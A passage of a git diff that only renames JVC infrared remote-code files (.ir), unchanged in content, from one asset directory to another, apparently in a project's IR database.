a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Mini System/175,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Mini System/175,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Mini System/175,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Mini System/175,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Mini System/179,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Mini System/179,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Mini System/179,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Mini System/179,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Mini System/31,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Mini System/31,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Mini System/31,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Mini System/31,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Monitor/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Monitor/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Monitor/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Monitor/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Monitor/67,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Monitor/67,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Monitor/67,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Monitor/67,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Plasma/31,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Plasma/31,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Plasma/31,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Plasma/31,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Projector/115,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Projector/115,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Projector/115,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Projector/115,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/121,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/121,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/121,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/121,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/131,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/131,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/131,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/131,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/147,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/147,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/147,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/147,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/159,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/159,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/159,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/159,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/163,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/163,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/163,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/163,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/175,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/175,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/175,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/175,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/179,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/179,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/179,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/179,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/191,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/191,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/191,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/191,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/239,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/239,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/239,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/239,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/34,84.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/34,84.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/34,84.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/34,84.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/67,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/67,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/67,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/67,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/83,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/83,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Receiver/83,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Receiver/83,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/S-VHS/67,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/S-VHS/67,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/S-VHS/67,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/S-VHS/67,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Satellite/0,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Satellite/0,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Satellite/0,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Satellite/0,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Satellite/16,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Satellite/16,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Satellite/16,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Satellite/16,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Satellite/24,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Satellite/24,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Satellite/24,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Satellite/24,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Satellite/8,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Satellite/8,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Satellite/8,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Satellite/8,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Switcher/243,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Switcher/243,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Switcher/243,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Switcher/243,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/TV/15,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/TV/15,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/TV/15,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/TV/15,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/TV/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/TV/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/TV/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/TV/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/TV/31,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/TV/31,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/TV/31,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/TV/31,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/TV/67,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/TV/67,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/TV/67,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/TV/67,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Tuner/131,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Tuner/131,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Tuner/131,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Tuner/131,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Tuner/147,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Tuner/147,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Tuner/147,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Tuner/147,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Tuner/163,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Tuner/163,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Tuner/163,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Tuner/163,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Tuner/179,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Tuner/179,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Tuner/179,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Tuner/179,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Tuner/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Tuner/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Tuner/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Tuner/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Tuner/67,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Tuner/67,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Tuner/67,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Tuner/67,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_440/179,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_440/179,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_440/179,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_440/179,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_JVC-RM-C475W/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_JVC-RM-C475W/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_JVC-RM-C475W/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_JVC-RM-C475W/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_JVC/159,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_JVC/159,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_JVC/159,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_JVC/159,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_JvcDishPlayer500/3,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_JvcDishPlayer500/3,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_JvcDishPlayer500/3,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_JvcDishPlayer500/3,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_LP20106-002/67,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_LP20106-002/67,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_LP20106-002/67,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_LP20106-002/67,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_PQ10543/83,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_PQ10543/83,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_PQ10543/83,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_PQ10543/83,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C1251G/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C1251G/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C1251G/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C1251G/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C360/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C360/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C360/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C360/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C410/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C410/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C410/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C410/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C462/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C462/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C462/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C462/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C530/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C530/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C530/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C530/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C670/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C670/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C670/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C670/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C678/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C678/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C678/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-C678/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RK50/143,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RK50/143,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RK50/143,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RK50/143,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RK60/143,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RK60/143,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RK60/143,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RK60/143,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RX130/159,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RX130/159,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RX130/159,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RX130/159,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RX250/159,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RX250/159,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RX250/159,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RX250/159,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RXU1/159,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RXU1/159,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RXU1/159,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RXU1/159,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RXUA4/159,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RXUA4/159,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RXUA4/159,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RXUA4/159,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RXUT200R/159,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RXUT200R/159,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RXUT200R/159,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-RXUT200R/159,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-SMXJ100E/0,4.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-SMXJ100E/0,4.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-SMXJ100E/0,4.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-SMXJ100E/0,4.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-SX263U/179,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-SX263U/179,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-SX263U/179,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-SX263U/179,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-SXVS40A/239,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-SXVS40A/239,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-SXVS40A/239,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-SXVS40A/239,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-V1E/67,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-V1E/67,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-V1E/67,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-V1E/67,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-V718U/211,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-V718U/211,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-V718U/211,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-V718U/211,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-V730U/223,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-V730U/223,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-V730U/223,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_RM-V730U/223,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_SXV037J/239,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_SXV037J/239,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_SXV037J/239,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_SXV037J/239,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_jvc-lp20465-005-vcr/67,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_jvc-lp20465-005-vcr/67,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_jvc-lp20465-005-vcr/67,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_jvc-lp20465-005-vcr/67,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_remote/159,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_remote/159,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_remote/159,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_remote/159,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_rm-c241/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_rm-c241/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_rm-c241/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_rm-c241/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_sw/243,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_sw/243,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/Unknown_sw/243,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/Unknown_sw/243,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/0,14.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/0,14.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/0,14.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/0,14.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/1,14.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/1,14.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/1,14.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/1,14.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/131,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/131,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/JVC/VCR/131,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/JVC/VCR/131,-1.ir diff --git 